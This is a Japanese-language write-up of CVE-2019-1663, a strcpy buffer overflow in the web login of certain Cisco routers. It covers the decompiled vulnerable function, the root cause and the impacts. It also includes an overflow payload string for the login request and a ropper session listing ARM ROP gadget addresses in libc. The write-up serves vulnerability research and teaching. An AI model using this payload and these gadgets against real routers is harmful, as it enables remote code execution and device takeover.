
# CVE-2019-1663のバイナリ解析と悪用:CiscoルーターのWeb管理におけるバッファオーバーフロー、根本原因、エクスプロイト手順、ROPガジェットの発見を含む
著者: Corentin Wolff
脆弱性は関数 0x0002BF64 に起因しており、strcpy 関数を誤って使用しているため、バッファオーバーフロー攻撃を受けやすくなっています。わかりやすくするため、この関数は Login と改名されています。以下は問題を示すコード断片です。
undefined4 Login(char *param_1, char *param_2, char *param_3, int param_4) { ... }
この断片では、strcpy 関数が不適切に使用され、バッファオーバーフローの脆弱性を引き起こしています:
if (param_4 == 0) {
iVar2 = strncmp(acStack_fa, "enc=", 4);
if (iVar2 != 0) {
strcpy(acStack_15e, acStack_fa);
strcpy(acStack_1c2, param_2);
goto LAB_0002c264;
}
}
コードのこの部分はユーザー名をチェックしています:
if (iVar2 != 0) {
syslog(6, "Web management login failed, user=%s\n", param_1);
}
パラメータ param_1 はユーザー名フィールドと特定されます。
同様に、param_2 はパスワードに対応し、param_3 は httpd_user と識別されます。
login_flag 変数は接続状態を表します:
0 → ログインエラー
1 → 管理者ログイン成功
2 → 既存セッションにより管理者ログイン拒否
3 → 管理者ログイン強制ログアウト
脆弱性は、strcpy 関数の不適切な使用によるバッファオーバーフローです。
strcpy 関数は、コピー元の文字列のサイズをコピー先バッファの容量と照合しません。
これにより、隣接するメモリ領域が上書きされる可能性があります。
CVE-2019-1663 は、特定の Cisco ルータモデルにおける入力サイズ検証の欠如を悪用します。
a. 長さチェックなし:無害化されていないユーザー入力が strcpy に渡される。
b. メモリオーバーフロー:過剰なデータが重要なメモリ領域を上書きする。
c. 任意コード実行:攻撃者が悪意のあるコードを注入し実行する。
d. 悪用の要件:ルータの Web 設定サーバーへのアクセス。
e. 影響:特権アクセスを獲得し、ネットワークスパイ、トラフィック転送、マルウェアインストール、バックドア設置などを可能にする。
&enc=1&user=cisco&pwd=AAAA...AAAAZZZZ&sel_lang=EN
ibc.so.0/ELF/ARM)> disasm_address 0x00034410
Instructions
============
0x00034410: pop {r0, pc}
(libc.so.0/ELF/ARM)> disasm_address 0x00041304
Instructions
============
0x00041304: mov r2, r0
(libc.so.0/ELF/ARM)> search %mov r2, r0%
[INFO] Searching for gadgets: %mov r2, r0%
[INFO] File: libc.so.0
0x00041304: mov r2, r0; mov r0, sp; blx r2;
MITRE CWE-120: 入力サイズをチェックしないバッファコピー
https://cwe.mitre.org/data/definitions/120.html
MITRE CWE-787: 範囲外書き込み
https://cwe.mitre.org/data/definitions/787.html
OWASP バッファオーバーフロー概要
https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
「バッファオーバーフロー」Microsoft Learn
https://learn.microsoft.com/ja-jp/cpp/security/security-best-practices-for-c-cpp
CERT セキュアコーディング標準 - STR31-C
https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator
CVE-2019-1663 の悪用 - Quentin Kaiser による解説
https://quentinkaiser.be/exploitdev/2019/08/30/exploit-cve-2019-1663